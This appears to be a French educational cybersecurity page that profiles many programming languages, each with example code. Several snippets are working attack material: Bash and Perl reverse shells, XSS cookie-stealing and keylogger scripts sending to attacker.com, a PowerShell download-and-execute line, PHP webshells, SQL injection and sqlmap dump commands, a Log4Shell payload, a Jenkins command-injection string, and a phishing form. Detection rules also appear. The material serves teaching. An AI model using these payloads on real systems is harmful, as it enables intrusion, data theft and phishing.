Des langages de bas niveau à haut niveau — clique sur un langage pour voir sa fiche complète avec exemples de code.
Python est le langage le plus populaire en cybersécurité. Sa syntaxe claire le rend accessible, et son écosystème de bibliothèques couvre tout : du scripting réseau à l'IA en passant par l'exploitation.
import socket
def scan_port(host, port):
s = socket.socket()
s.settimeout(0.5)
try:
s.connect((host, port))
print(f"[+] Port {port} ouvert")
s.close()
except:
pass
host = "192.168.1.1"
for port in range(1, 1025):
scan_port(host, port)
C est le langage fondateur de la plupart des OS (Linux, Windows). Comprendre C est indispensable pour le reverse engineering, l'exploit dev et l'analyse de malwares.
#include <stdio.h>
#include <string.h>
void vuln(char *input) {
char buffer[64];
// DANGER : pas de vérification de taille !
strcpy(buffer, input);
printf("Input: %s\n", buffer);
}
int main(int argc, char *argv[]) {
vuln(argv[1]);
return 0;
}
# Compiler sans protections (pour lab)
gcc -o vuln vuln.c -fno-stack-protector -z execstack
# Désassembler avec objdump
objdump -d vuln | grep -A20 "<vuln>"
C++ étend C avec la programmation orientée objet, les templates et la STL. Utilisé pour les outils de sécurité performants, les moteurs de jeux et le développement de malwares avancés.
#include <iostream>
#include <sys/socket.h>
#include <arpa/inet.h>
// Exemple éducatif uniquement
// Ne jamais utiliser sans autorisation
int main() {
// Connexion TCP
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
connect(sock, (struct sockaddr*)&addr, sizeof(addr));
// ... redirection stdin/stdout
return 0;
}
JavaScript est le langage du web. Il tourne dans chaque navigateur et côté serveur avec Node.js. C'est aussi le principal vecteur des attaques XSS.
// Payload XSS injecté dans un champ commentaire
<script>
fetch('https://attacker.com/steal?c=' +
encodeURIComponent(document.cookie));
</script>
// Keylogger JS basique (éducatif)
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/key?k=' + e.key);
});
Rust élimine les bugs mémoire à la compilation grâce à son système d'ownership unique. Aucun garbage collector, sécurité mémoire garantie. De plus en plus utilisé pour les outils de sécurité modernes.
use tokio::net::TcpStream;
use std::time::Duration;
async fn check_port(host: &str, port: u16) -> bool {
let addr = format!("{}:{}", host, port);
tokio::time::timeout(
Duration::from_millis(500),
TcpStream::connect(&addr)
).await.is_ok()
}
#[tokio::main]
async fn main() {
for port in 1..=1024 {
if check_port("192.168.1.1", port).await {
println!("[+] Port {} ouvert", port);
}
}
}
Bash est le shell par défaut sur Linux/macOS. Indispensable pour tout professionnel de la sécurité, de l'administration système à la post-exploitation.
# Recon réseau
netstat -tulpn # connexions actives
ss -antp # sockets
arp -a # table ARP
cat /etc/hosts # fichier hosts
# Recherche de fichiers sensibles
find / -name "*.conf" 2>/dev/null
find / -perm -4000 2>/dev/null # SUID binaries
grep -r "password" /etc/ 2>/dev/null
# Reverse shell Bash
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
#!/bin/bash
TARGET=$1
echo "[*] Scan de $TARGET"
for PORT in 22 80 443 3306 8080; do
timeout 1 bash -c "echo >/dev/tcp/$TARGET/$PORT" 2>/dev/null \
&& echo "[+] Port $PORT OUVERT" \
|| echo "[-] Port $PORT fermé"
done
Go est le langage de Google, conçu pour la simplicité et la concurrence. De nombreux outils de sécurité modernes sont écrits en Go : Nuclei, gobuster, subfinder, etc.
package main
import (
"fmt"
"net"
"sync"
)
func checkSubdomain(wg *sync.WaitGroup, sub, domain string) {
defer wg.Done()
host := sub + "." + domain
addrs, err := net.LookupHost(host)
if err == nil {
fmt.Printf("[+] %s -> %v\n", host, addrs)
}
}
func main() {
subs := []string{"www","mail","admin","vpn","api"}
var wg sync.WaitGroup
for _, sub := range subs {
wg.Add(1)
go checkSubdomain(&wg, sub, "target.com")
}
wg.Wait()
}
SQL (Structured Query Language) est le langage des bases de données relationnelles. C'est aussi la cible principale des injections SQL, l'une des vulnérabilités web les plus répandues.
-- Connexion normale
SELECT * FROM users WHERE id = 1;
-- Injection : id = 1 OR 1=1 --
SELECT * FROM users WHERE id = 1 OR 1=1 --;
-- Retourne TOUS les utilisateurs !
-- Union-based SQLi
SELECT name FROM users WHERE id=1
UNION SELECT password FROM users--;
-- Lire des fichiers système (MySQL)
SELECT LOAD_FILE('/etc/passwd');
-- Écrire un webshell
SELECT '' INTO OUTFILE '/var/www/html/shell.php';
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D mydb --tables
sqlmap -u "http://target.com/page?id=1" -D mydb -T users --dump
L'assembly est la représentation textuelle du code machine. Indispensable pour comprendre ce que fait réellement un programme, analyser des malwares et développer des exploits.
; Registres généraux 64-bit
RAX, RBX, RCX, RDX ; données
RSP ; stack pointer
RBP ; base pointer
RIP ; instruction pointer
RSI, RDI ; source/dest index
mov rax, 0x1337 ; charger une valeur
push rax ; empiler
pop rbx ; dépiler
call fonction ; appeler une fonction
ret ; retourner
cmp rax, rbx ; comparer
je label ; jump if equal
xor rax, rax ; mettre rax à zéro (courant)
section .data
msg db "Hello, World!", 10
len equ $ - msg
section .text
global _start
_start:
mov rax, 1 ; syscall write
mov rdi, 1 ; stdout
mov rsi, msg ; buffer
mov rdx, len ; longueur
syscall
mov rax, 60 ; syscall exit
xor rdi, rdi
syscall
PowerShell est le shell et langage de script Windows. Il est massivement utilisé en pentest Windows et en post-exploitation car il est présent nativement sur tous les systèmes modernes.
Get-LocalUser # liste des utilisateurs
Get-LocalGroup # groupes locaux
Get-Process # processus en cours
Get-NetTCPConnection # connexions réseau
Get-WmiObject Win32_Service # services Windows
$env:USERNAME # utilisateur actuel
whoami /priv # privilèges
# Exécuter un script distant (bypass AMSI courant)
IEX (New-Object Net.WebClient).DownloadString(
'http://192.168.1.100/payload.ps1')
# Bypass execution policy
powershell -ExecutionPolicy Bypass -File script.ps1
# Encoder en Base64 pour obfuscation
$cmd = "calc.exe"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded
PHP propulse encore ~80% du web (WordPress, Joomla, Drupal). C'est souvent une source de vulnérabilités car beaucoup d'anciens codes PHP sont mal sécurisés.
<?php
// RCE via eval() — DANGER !
eval($_GET['cmd']);
// File inclusion
include($_GET['page'] . ".php");
// Payload : ?page=../../../etc/passwd%00
// Type juggling
if ("admin" == 0) // true en PHP ! (juggling)
// Webshell classique
echo system($_GET['cmd']); ?>
<?php system($_GET['c']); ?>
// Usage : shell.php?c=id
// Usage : shell.php?c=cat+/etc/passwd
Java est massivement utilisé en entreprise. En sécurité, on le retrouve dans l'analyse d'applications Android et dans les vulnérabilités de désérialisation (ex: Log4Shell).
// Code VULNÉRABLE (ne pas utiliser en prod)
ObjectInputStream ois = new ObjectInputStream(
new FileInputStream("data.ser"));
// Si l'objet vient d'une source non fiable = RCE !
Object obj = ois.readObject();
// Défense : valider la classe avant désérialisation
// Utiliser des bibliothèques sécurisées (Jackson, Gson)
# Payload célèbre injecté dans un champ loggué
${jndi:ldap://attacker.com/exploit}
# Log4j faisait une requête LDAP et chargeait du code !
Ruby est le langage de Metasploit Framework, l'outil de pentest le plus utilisé au monde. Apprendre Ruby permet de créer ses propres modules Metasploit.
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Mon module custom',
'Description' => 'Test de connexion TCP',
))
register_options([
Opt::RHOST(), Opt::RPORT(80)
])
end
def run
connect
sock.puts("GET / HTTP/1.0\r\n\r\n")
data = sock.get_once
print_good("Réponse : #{data[0..100]}")
disconnect
end
end
# Lire et parser un fichier de wordlist
File.readlines('passwords.txt').each do |pass|
pass.chomp!
puts "Test: #{pass}"
end
Perl a longtemps été le roi des scripts réseau et du traitement de texte. On le retrouve encore dans de nombreux anciens outils de sécurité et systèmes legacy.
use Socket;
$i="192.168.1.100"; $p=4444;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
connect(S,sockaddr_in($p,inet_aton($i)));
open(STDIN,">&S"); open(STDOUT,">&S");
open(STDERR,">&S"); exec("/bin/sh -i");
# Extraire des emails d'un fichier
open(my $fh, '<', 'dump.txt');
while (<$fh>) {
while (/[\w.+-]+@[\w-]+\.[\w.]+/g) {
print "$&\n";
}
}
R est le langage de référence pour les statistiques. En sécurité, il sert à l'analyse de logs, la détection d'anomalies et la visualisation de données forensiques.
# Charger des logs Apache
logs <- read.csv("access.log", sep=" ",
col.names=c("ip","date","request","status","size"))
# Compter les requêtes par IP (détecter brute force)
library(dplyr)
logs %>% group_by(ip) %>%
summarise(n=n()) %>%
filter(n > 100) %>%
arrange(desc(n))
TypeScript est un superset de JavaScript avec un système de types statiques. Il réduit les bugs et améliore la sécurité du code.
// Validation stricte des entrées
interface UserInput {
username: string;
age: number;
}
function processUser(input: UserInput): string {
// TypeScript garantit que username est une string
const sanitized = input.username
.replace(/[^a-zA-Z0-9]/g, '');
return `Bonjour ${sanitized}`;
}
// Erreur à la compilation si mauvais type
processUser({ username: 123, age: "test" }); // ❌
Swift est le langage d'Apple pour iOS et macOS. Utile pour l'analyse de sécurité des applications Apple et le développement d'outils de sécurité sur macOS.
import Security
// Stocker un secret dans le Keychain (sécurisé)
let data = "mon_mot_de_passe".data(using: .utf8)!
let query: [CFString: Any] = [
kSecClass: kSecClassGenericPassword,
kSecAttrService: "com.monapp",
kSecValueData: data
]
SecItemAdd(query as CFDictionary, nil)
Kotlin est le langage officiel d'Android depuis 2019. Il remplace progressivement Java et est essentiel pour l'analyse de sécurité des applications Android modernes.
// Stockage non sécurisé dans SharedPreferences
val prefs = getSharedPreferences("myapp", MODE_WORLD_READABLE)
prefs.edit().putString("password", "secret123").apply()
// ❌ DANGER : MODE_WORLD_READABLE = lisible par toutes les apps
// Stockage sécurisé recommandé
val encryptedPrefs = EncryptedSharedPreferences.create(
"secure_prefs",
MasterKeys.getOrCreate(MasterKeys.AES256_GCM_SPEC),
context,
EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM
)
C# et .NET sont massivement utilisés dans les environnements Windows enterprise. C'est le langage de choix pour les outils de red team Windows modernes.
using System;
using System.Runtime.InteropServices;
// Appels WinAPI depuis C# (technique d'injection)
[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(int access, bool inherit, int pid);
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr,
uint size, uint type, uint protect);
// Ces techniques sont utilisées par les malwares ET les AV
// pour analyser d'autres processus
Lua est utilisé pour les scripts NSE de Nmap (Nmap Scripting Engine), permettant d'automatiser des tests de vulnérabilités avancés.
-- Script Nmap personnalisé pour détecter un service
description = [[Vérifie la version d'un service HTTP]]
categories = {"discovery", "safe"}
local http = require "http"
local shortport = require "shortport"
portrule = shortport.http
action = function(host, port)
local response = http.get(host, port, "/")
if response.header["server"] then
return "Serveur: " .. response.header["server"]
end
end
Scala combine la programmation fonctionnelle et orientée objet. Utilisé avec Apache Spark pour analyser de grands volumes de logs de sécurité.
import org.apache.spark.sql.SparkSession
val spark = SparkSession.builder.appName("SecLogs").getOrCreate()
val logs = spark.read.text("hdfs://logs/firewall/*.log")
// Détecter des scans de ports (>100 connexions/IP/minute)
logs.filter($"value".contains("DENY"))
.groupBy("src_ip", window($"timestamp", "1 minute"))
.count()
.filter($"count" > 100)
.show()
Haskell est un langage fonctionnel pur avec un système de types très expressif. Utilisé pour la cryptographie formelle et la vérification de protocoles de sécurité.
-- RSA simplifié en Haskell
modExp :: Integer -> Integer -> Integer -> Integer
modExp base exp modulus
| exp == 0 = 1
| even exp = modExp (base*base `mod` modulus) (exp`div`2) modulus
| otherwise = base * modExp base (exp-1) modulus `mod` modulus
-- Chiffrement RSA : c = m^e mod n
encrypt :: Integer -> Integer -> Integer -> Integer
encrypt msg e n = modExp msg e n
Groovy est utilisé dans les pipelines Jenkins. Des misconfigurations peuvent mener à des RCE (Remote Code Execution) dans les environnements CI/CD.
// Jenkinsfile (Groovy)
pipeline {
agent any
stages {
stage('Build') {
steps {
// DANGER si $BRANCH_NAME non validé :
sh "git checkout ${env.BRANCH_NAME}"
// Injection : BRANCH_NAME = "main; curl attacker.com | sh"
}
}
}
}
// Toujours valider les variables d'environnement !
HTML et CSS sont la base du web. En cybersécurité, comprendre HTML est essentiel pour créer des pages de phishing réalistes (en contexte autorisé) et comprendre les vecteurs XSS.
<!-- Structure de fausse page login -->
<form action="https://attacker.com/collect" method="POST">
<!-- Logo et style copié du vrai site -->
<img src="https://real-bank.com/logo.png"/>
<input type="email" name="email" placeholder="Email"/>
<input type="password" name="password" placeholder="Mot de passe"/>
<button type="submit">Se connecter</button>
</form>
<!-- Technique utilisée UNIQUEMENT en pentest autorisé -->
.invisible-iframe {
opacity: 0.0;
position: absolute;
top: 0; left: 0;
width: 100%; height: 100%;
z-index: 999;
/* iframe transparente par-dessus un bouton visible */
}
MATLAB est utilisé pour l'analyse cryptographique et la détection de patterns dans les signaux (radio, réseau, hardware).
% Analyse de fréquence sur un texte chiffré par César
cipher = 'KHOOR ZRUOG'; % "HELLO WORLD" décalé de 3
freq = zeros(1, 26);
for c = upper(cipher)
if c >= 'A' && c <= 'Z'
freq(c - 'A' + 1) = freq(c - 'A' + 1) + 1;
end
end
bar(freq);
xlabel('Lettre'); ylabel('Fréquence');
VHDL et Verilog décrivent le comportement du matériel (FPGA, ASIC). Utilisés pour implémenter des algorithmes cryptographiques directement en hardware et analyser la sécurité physique.
entity AES_Core is
Port (
clk : in STD_LOGIC;
reset : in STD_LOGIC;
plaintext : in STD_LOGIC_VECTOR(127 downto 0);
key : in STD_LOGIC_VECTOR(127 downto 0);
ciphertext: out STD_LOGIC_VECTOR(127 downto 0);
done : out STD_LOGIC
);
end AES_Core;
Tcl/Expect automatise les interactions avec des interfaces interactives comme SSH, Telnet ou FTP.
#!/usr/bin/expect
# Connexion SSH automatique et exécution de commandes
spawn ssh user@192.168.1.1
expect "password:"
send "monmotdepasse\r"
expect "$ "
send "whoami\r"
expect "$ "
send "cat /etc/passwd\r"
expect "$ "
send "exit\r"
Julia combine la facilité de Python avec les performances du C. Utilisé en calcul scientifique, ML et commence à apparaître en analyse de sécurité haute performance.
using Statistics
# Détection d'anomalies dans des logs réseau
connections_per_sec = [10, 12, 11, 9, 150, 10, 11]
mean_c = mean(connections_per_sec)
std_c = std(connections_per_sec)
for (i, c) in enumerate(connections_per_sec)
z_score = abs(c - mean_c) / std_c
if z_score > 2.0
println("⚠️ Anomalie à t=$i : $c connexions/s (z=$z_score)")
end
end
YARA est un langage de règles pour identifier et classifier des malwares. C'est l'outil standard des analystes malware et des équipes de threat intelligence.
rule Ransomware_Generic {
meta:
description = "Détecte des patterns de ransomware"
author = "CyberLearn"
date = "2025-01-01"
strings:
$encrypt1 = "CryptEncrypt" ascii
$encrypt2 = "AES_encrypt" ascii
$ransom1 = "YOUR FILES ARE ENCRYPTED" nocase
$ransom2 = "bitcoin" nocase
$ext1 = ".locked" ascii
$ext2 = ".encrypted" ascii
condition:
2 of ($encrypt*) and
1 of ($ransom*) and
1 of ($ext*)
}
yara -r rules/ /chemin/suspect/
yara maRegle.yar fichier_suspect.exe
Sigma est un format générique de règles de détection pour SIEM. Snort Rules est le format de l'IDS Snort. Les deux sont essentiels en Blue Team.
title: Mimikatz Detection
status: stable
description: Détecte l'utilisation de Mimikatz
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
- 'sekurlsa::logonpasswords'
- 'lsadump::sam'
- 'privilege::debug'
condition: selection
level: critical
tags:
- attack.credential_access
- attack.t1003
alert tcp any any -> $HOME_NET any (
msg:"NMAP SYN Scan détecté";
flags:S;
threshold: type threshold, track by_src,
count 20, seconds 1;
sid:1000001;
rev:1;
)
Lisp est l'un des plus anciens langages (1958). Sa syntaxe homoiconique (le code est des données) a influencé la théorie des langages, l'IA et la vérification formelle.
;; Factorielle récursive
(define (factorial n)
(if (<= n 1)
1
(* n (factorial (- n 1)))))
;; Test de primalité (utile en crypto)
(define (prime? n)
(define (check d)
(cond ((> (* d d) n) #t)
((= (remainder n d) 0) #f)
(else (check (+ d 1)))))
(if (< n 2) #f (check 2)))
Forth est un langage à pile utilisé dans les firmwares et systèmes embarqués. Brainfuck est un langage ésotérique minimaliste — utile pour comprendre les machines de Turing.
: CARRE DUP * ; \ Carré d'un nombre
: CUBE DUP CARRE * ;
5 CARRE . \ Affiche 25
3 CUBE . \ Affiche 27
++++++++[>++++[>++>+++>+++>+<<<<-]>+>+>->>+[<]<-]
>>.>---.+++++++..+++.>>.<-.<.+++.------.--------.>>+.>++.